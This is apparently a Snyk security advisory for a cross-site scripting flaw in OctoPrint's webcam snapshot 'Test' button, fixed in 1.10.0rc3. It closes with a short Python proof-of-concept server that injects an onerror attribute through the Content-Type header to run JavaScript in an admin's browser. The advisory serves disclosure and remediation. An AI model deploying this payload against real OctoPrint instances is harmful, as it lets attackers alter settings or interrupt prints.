Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Cross-Site Scripting (XSS) vulnerabilities in an interactive lesson.
Start learningUpgrade OctoPrint
to version 1.10.0rc3 or higher.
OctoPrint is a snappy web interface for your 3D printer
Affected versions of this package are vulnerable to Cross-Site Scripting (XSS) due to the misconfiguration of a webcam snapshot URL which, when tested through the "Test" button in the web interface, will execute JavaScript code in the victim's browser during the attempt to render the snapshot image.
An attacker who successfully convinces a victim with admin rights to perform a snapshot test with a maliciously crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints, or otherwise interact with the instance in a malicious manner.
from http.server import BaseHTTPRequestHandler, HTTPServer
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'image/"onerror="alert(1)"')
self.end_headers()
self.wfile.write(b'Ok')
def run():
server_address = ('', 8080)
httpd = HTTPServer(server_address, MyHTTPRequestHandler)
print('Server listening on 0.0.0.0:8080...')
httpd.serve_forever()
if __name__ == '__main__':
run()